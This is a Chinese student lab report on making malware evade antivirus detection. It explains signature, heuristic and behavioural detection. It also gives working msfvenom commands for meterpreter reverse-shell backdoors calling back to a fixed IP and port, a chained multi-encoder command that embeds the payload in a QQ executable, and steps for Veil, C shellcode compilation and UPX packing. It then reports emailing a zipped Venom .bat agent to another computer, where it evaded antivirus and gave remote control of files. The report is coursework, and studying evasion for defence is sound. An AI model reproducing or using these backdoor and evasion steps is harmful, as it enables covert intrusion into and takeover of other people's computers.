一、实验目标:
- 了解恶意软件检测机制
- 学会使用msf、veil、加壳工具、C+shellcode等方法实现部分免杀
- 通过组合应用各种技术实现恶意代码免杀
- 掌握将生成的免杀程序注入目标机,并回连成功
二、预备知识:
免杀概念
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。
恶意软件检测机制
- 基于特征码的检测
- 恶意代码包含这样的数据
- 正常程序不包含这样的数据
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库
- 启发式恶意软件检测
- 根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。
- 典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 基于行为的恶意软件检测
- 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
免杀原理及技术
改变特征码
- 只有EXE
-
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
-
- 用encode进行编码
-
- 基于payload重新编译生成可执行文件
- 有源代码
-
- 用其他语言进行重写再编译(veil-evasion)
改变行为
- 通讯方式
- 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接
- 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
- 加密通讯数据:如使用reverse-https进行转发
- 操作模式
- 基于内存操作:meterpreter是基于内存操作的操作的
- 减少对系统的修改
- 加入混淆作用的正常功能代码
三、实验步骤:
1. 正确使用MSF编辑器
MSF编辑器msfvenom
-h
查看帮助:
在实验二中,已经使用过一次msfvenom来编辑后门程序:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=5302 -f exe > 5302exp2_backdoor.exe
使用msf-virustotal -f 5302exp2_backdoor.exe
将文件上传到VirusTotal上进行扫描:
-e
用编码器进行编码并进行扫描:
-i
编码十次并进行扫描
2. msfvenom生成入jar之类的其他文件
msfvenom -l payload
查看可用的payload
选择-p java/meterpreter/reverse_tcp
生成jar文件并进行检测
选择-p php/meterpreter/reverse_tcp
生成php文件
3. Veil的使用
按照提示安装Veil
启动veil
use 1
进入veil-evasion
list
查看所有可用的payload
use [payload_number]
选择某个payload使用
set [选项] [参数]
修改options
generate
开始生成文件
过程中给文件起名
对veil生成的pwShell_rev_tcp文件进行检测
4. C+Shellcode
使用msfvenom生成一个shellcode
创建一个.c文件,将buf[]放入
使用mingw32工具进行编译
我用了两种编译器g++和gcc,扫描效果上是差不多的,但是不知道为什么都无法在Windows主机上运行。
5. 加壳
对刚才编译生成的文件进行加壳
upx shell_5302.exe -o shell_5302_upxed.exe
检测效果:
6. 使用其他课堂未介绍方法:
花式编码:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.0.108 LPORT=5302 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x QQ.exe -k -f exe > encoder_times.exe
实际没啥用。。。
msfconsole:
使用msfconsole生成:
这个跟msfvenome是一样的,最后使用generate [选项] [参数]
就可以生成了。
Venom:
用Venom生成一个dll,使用rundll32.exe运行
不报毒,回连成功之后也不报毒,但是会自动关闭
生成了一个apk,手机回连也成功了。
7. 通过组合各种技术实现恶意代码免杀:
用了一个最简单的codeblock编译shellcode
跟前面C+shellcode一样的,不过效果好一点。
8. 用另一台电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本:
用Venom中的这个Agent
生成了一个.bat文件,通过QQ邮箱发送压缩后的文件,在目标机中下载解压没有查杀
回连成功,可以查看桌面文件,新建文件夹,编辑文件等操作,无法进行截屏操作。
四、实验体会:
1. 实验过程中遇到的问题:
- veil安装出现了一些问题,解决方法:
remove
整个veil,并重新install
,然后就好了。。。 - 前面说到的mingw32编译的无法在Windows主机中运行,ruby生成的EXE也无法在Windows中运行。
暂无解决方案 - msfvenom中大量的payload不知道怎么使用,以后慢慢尝试
2. 实验体会:
生成一个能够回连的后门程序时蛮有意思的一件事情,但是以现在的知识水平能够生成的程序还不足以完全越过杀毒软件,还要多多学习。
五、问题回答
1. 杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 恶意代码包含这样的数据
- 正常程序不包含这样的数据
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库
- 启发式恶意软件检测
- 根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。
- 典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 基于行为的恶意软件检测
- 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2. 免杀是做什么?
对恶意软件做处理,让它不被杀毒软件所检测。
3. 免杀的基本方法有哪些?
从被检测的角度考虑,恶意代码会因为特征码或是行为被发现,那么免杀方法就有三大类:
-
非常规方法:纯手工打造、社工类攻击。
-
改变特征码:这次实验中操作的msf编码、veil、加壳、shellcode都属于改变特征码。
-
改变行为:使用反弹连接、隧道技术、加密通讯数据等。
4. 开启杀软能绝对防止电脑中恶意代码吗?
不能绝对,因为总有些0day的恶意代码可能被创造出来并注入,可能有能够隐藏自己行为的恶意代码。